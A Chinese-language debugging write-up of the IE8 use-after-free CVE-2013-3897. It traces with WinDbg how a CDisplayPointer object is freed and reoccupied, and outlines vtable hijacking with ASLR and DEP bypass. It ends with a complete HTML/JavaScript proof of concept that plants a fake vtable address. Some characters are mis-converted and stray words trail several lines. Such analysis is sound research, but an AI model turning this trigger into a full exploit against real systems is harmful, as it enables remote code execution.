此漏洞是UAF(Use After Free)類漏洞,即引用了已經釋放的內存。攻擊者能夠利用此類漏洞實現遠程代碼執行。UAF漏洞的根源源於對對象引用計數的處理不當,好比在編寫程序時忘記AddRef或者多加了Release,最終致使對象的釋放。對於IE的大部分對象(COM編程實現)來講,+4偏移處的含義是該對象的引用計數,能夠經過跟蹤它來定位補丁先後的位置及被釋放的位置。+0偏移處的含義是該對象的虛函數表指針,能夠經過它來改變程序執行流程。html
操做系統:Win7 SP1shell
瀏覽器:IE8(補丁Windows6.1-KB2879017-x86前)編程
漏洞編號:CVE-2013-3897瀏覽器
看到crash緣由是 call dword ptr [eax] 處引用了無效的內存空間。查看崩潰處的上下文。app
查看ebx,此時ebx==0031c094。查看函數調用回溯。ide
ebx的值也是 mshtml!QIClassID 的第一個參數,mshtml!CDoc::ScrollPointerIntoView 的第二個參數;它是一個0x48大小的對象,也是釋放後被重用的對象。函數
mshtml!CDoc::ScrollPointerIntoView,查看[ebp+0Ch]的變化(即函數的第二個參數,被釋放的對象),有以下片斷。佈局
在調用mshtml!QIClassID前又調用了mshtml!CDoc::GetLineInfo,所以接下來在mshtml!CDoc::ScrollPointerIntoView和call mshtml!CDoc::GetLineInfo處設置斷點,分析參數二[ebp+0Ch]的狀態。學習
開啓gflags的Create user mode stack trace database功能(用於進行堆回溯)。編碼
在POC中加入以下用於跟蹤執行流程的調試語句
IE8下:Math.atan2(0x999, "[*] Before Unselect");
設置如下斷點,觀察被釋放的對象
bu mshtml!CDoc::ScrollPointerIntoView
bu CDoc::ScrollPointerIntoView+0x32
bu CDoc::ScrollPointerIntoView+0x37
bu jscript!JsAtan2 ".echo;.printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;.echo;"
經過調試語句能夠得知執行流程:執行godzilla.onpropertychange = fun_onpropertychange ;後當即觸發了onpropertychange事件,調用fun_onpropertychange
執行godzilla.select();後當即觸發了onselect事件,調用fun_onselect;fun_onselect內部執行完swapNode後,會來到mshtml!CDoc::ScrollPointerIntoView。
觀察mshtml!CDoc::ScrollPointerIntoView的參數二[ebp+0Ch] == 046e85b4
它是一個mshtml!CDisplayPointer對象,所以釋放後重用的對象就是 CDisplayPointer ,它在select事件被觸發時建立,建立過程以下(注意,這裏的046e85b4,相對046e8580偏移爲0x34;相對046e8598(UserPtr)的偏移爲1c;1c/4=7)
所以整個過程爲godzilla.select();觸發onselect事件,調用fun_onselect。在此過程當中建立一個mshtml!CDisplayPointer對象,fun_onselect內部執行完swapNode後函數mshtml!CDisplayPointer::ScrollIntoView將要經過mshtml!CDisplayPointe對象來設置新的展現位置。
後邊來到mshtml!CDoc::ScrollPointerIntoView的call mshtml!CDoc::GetLineInfo處,此時CDisplayPointer 對象還未被釋放。
對這個對象(UserPtr)的釋放過程設置斷點:
bu mshtml!CDisplayPointer::Release ".if ( poi(esp+0x4) == 046e8598 ){} .else{gc}"
bu ntdll!RtlFreeHeap ".if ( poi(esp+0xc) == 046e8598 ){} .else{gc}"
由於調用了swapNode,textarea的valueproperty被改變。隨後onpropertychange事件被觸發,調用fun_onpropertychange
[*] Enter onpropertychange
[*] Before Unselect
document.execCommand("Unselect");的執行,致使了 CDisplayPointer 對象被釋放,此時對象釋放函數被觸發,對象將被釋放。
(若是隻對bu mshtml!CDisplayPointer::Release下斷點,以後的幾回mshtml!CDisplayPointer::Release:是對其餘對象的解引用及釋放。)
經過對象釋放的堆棧回溯能夠看出,mshtml!CDisplayPointer::ScrollIntoView隨後觸發了onpropertychange事件,fun_onpropertychange內部的Unselect命令致使了對象的釋放。
CDisplayPointer對象釋放後當即對內存進行佔位,經過對RtlAllocateHeap設置條件斷點,能夠定位內存佔位。
ntdll!RtlAllocateHeap+XXX(定位函數返回時eax的值,換成硬編碼)
77d92eb8 ".if (eax == 046e8598){} .else{gc}"
而後來到下圖所示
此時對象已經被釋放,並被佔位。POC中對應的代碼:war[i].className = data; 申請了17*4+2=70 (0x46) 最後有個\u0000終止符,所以總數是0x48。
同時在POC中,在第八個4字節處設置僞造的虛函數表地址(由於0x046e85b4相對UserPtr的偏移爲0x1C=4*7,相對堆塊起始位置的偏移爲0x34),從而控制執行流程。
若是將POC中對應的代碼設置爲
對後來的call mshtml!QIClassID下斷點,[ebp+8]即指向釋放後從新佔位的對象
其內部將索引對象的第一個虛函數,最終調用call dword ptr [eax]。此時eax爲咱們已經佈置好的shellcode(最前面是僞造的虛函數表)的地址(即僞造的虛函數表的地址)。call dword ptr [eax]將調用其第一個虛函數。
此UAF漏洞釋放後重用的目標是對象的虛函數表,所以經過僞造虛函數表來獲取執行流程。因爲此漏洞的侷限性,咱們不能經過它來繞過ASLR只能在利用代碼中,只能使用Java 6運行環境JRE1.6的msvcr71.dll(或其餘non-ASLR模塊)來繞過ASLR。也能夠配合其餘漏洞,獲取模塊基址及shellcode的地址來繞過ASLR。最終構造ROP繞過DEP,實現遠程代碼執行。
經過non-ASLR模塊繞過ASLR的過程比較簡單,詳見EXP代碼。
UAF漏洞的成因通常都是由於在編程過程當中對引用計數的處理不當致使對象被釋放後重用的。利用UAF漏洞實現遠程代碼執行,首先須要Bypass ASLR,得到模塊基址及shellcode的地址(也能夠經過堆噴射在指定內存空間佈置shellcode),而後硬編碼、動態構造ROP來Bypass DEP,最終實現任意代碼的執行。
不一樣的UAF漏洞利用方式會有不一樣,可是分析它們的流程基本一致。
[1] CVE-2013-3897漏洞分析:http://www.freebuf.com/articles/system/29445.html
[2] CVE-2013-3897樣本分析學習筆記:http://www.91ri.org/7900.html
[3] CVE-2013-3897 UAF Analysis:http://thecjw.0ginr.com/blog/?p=187
<html> <head> <script> var data = ""; for (i=0; i<17; i++) { if (i==7) { data += unescape("%u2020%u2030"); //data += "\u4141\u4141"; } else { data += "\u4141\u4141"; } } data += "\u4141"; function butterfly() { for(i=0; i<20; i++) { var effect = document.createElement("div"); effect.className = data; } } var battleStation = false; var war = new Array(); var godzilla ; var minilla ; var battleStation = false; function fun_onselect() { Math.atan2(0x999, "[*] Before swapNode"); minilla.swapNode(document.createElement("div")); // 調用swapNode,經過交換節點從頁面佈局刪除textarea了,同時觸發 onpropertychange 事件; Math.atan2(0x999, "[*] After swapNode"); } // fun_onpropertychange第一次被調用時是由於改變了DOM,第二次調用是由swapNode致使的,當即進行內存佔位 function fun_onpropertychange() { Math.atan2(0x999, "[*] Enter onpropertychange"); if (battleStation == true) { for (i=0; i<50; i++) { war.push(document.createElement("span")); } } Math.atan2(0x999, "[*] Before Unselect"); document.execCommand("Unselect"); // 使用了document.execCommand("Unselect")命令撤銷 select ,致使了CDisplayPointer對象被釋放 Math.atan2(0x999, "[*] After Unselect"); if (battleStation == true) // 對已經釋放的CDisplayPointer內存進行佔位 { for (i=0; i < war.length; i++) { war[i].className = data; } } else { battleStation = true; } Math.atan2(0x999, "[*] Leave onpropertychange"); } function kaiju() { godzilla = document.createElement("textarea"); // Create a CTextArea Object minilla = document.createElement("pre"); document.body.appendChild(godzilla); document.body.appendChild(minilla); godzilla.appendChild(minilla); godzilla.onselect = fun_onselect ; // 給textarea元素設置 select 處理函數,當textarea文本框被選中時觸發並調用處理函數 Math.atan2(0x999, "[*] Before godzilla.onpropertychange"); godzilla.onpropertychange = fun_onpropertychange ; // 給textarea元素設置 onpropertychange 事件處理函數,當屬性變化時觸發調用 Math.atan2(0x999, "[*] After godzilla.onpropertychange"); //butterfly(); Math.atan2(0x999, "[*] Before godzilla.select()"); godzilla.select(); // 主動觸發 select 處理函數 Math.atan2(0x999, "[*] After godzilla.select()"); } </script> </head> <body onload='kaiju()'> </body> </html>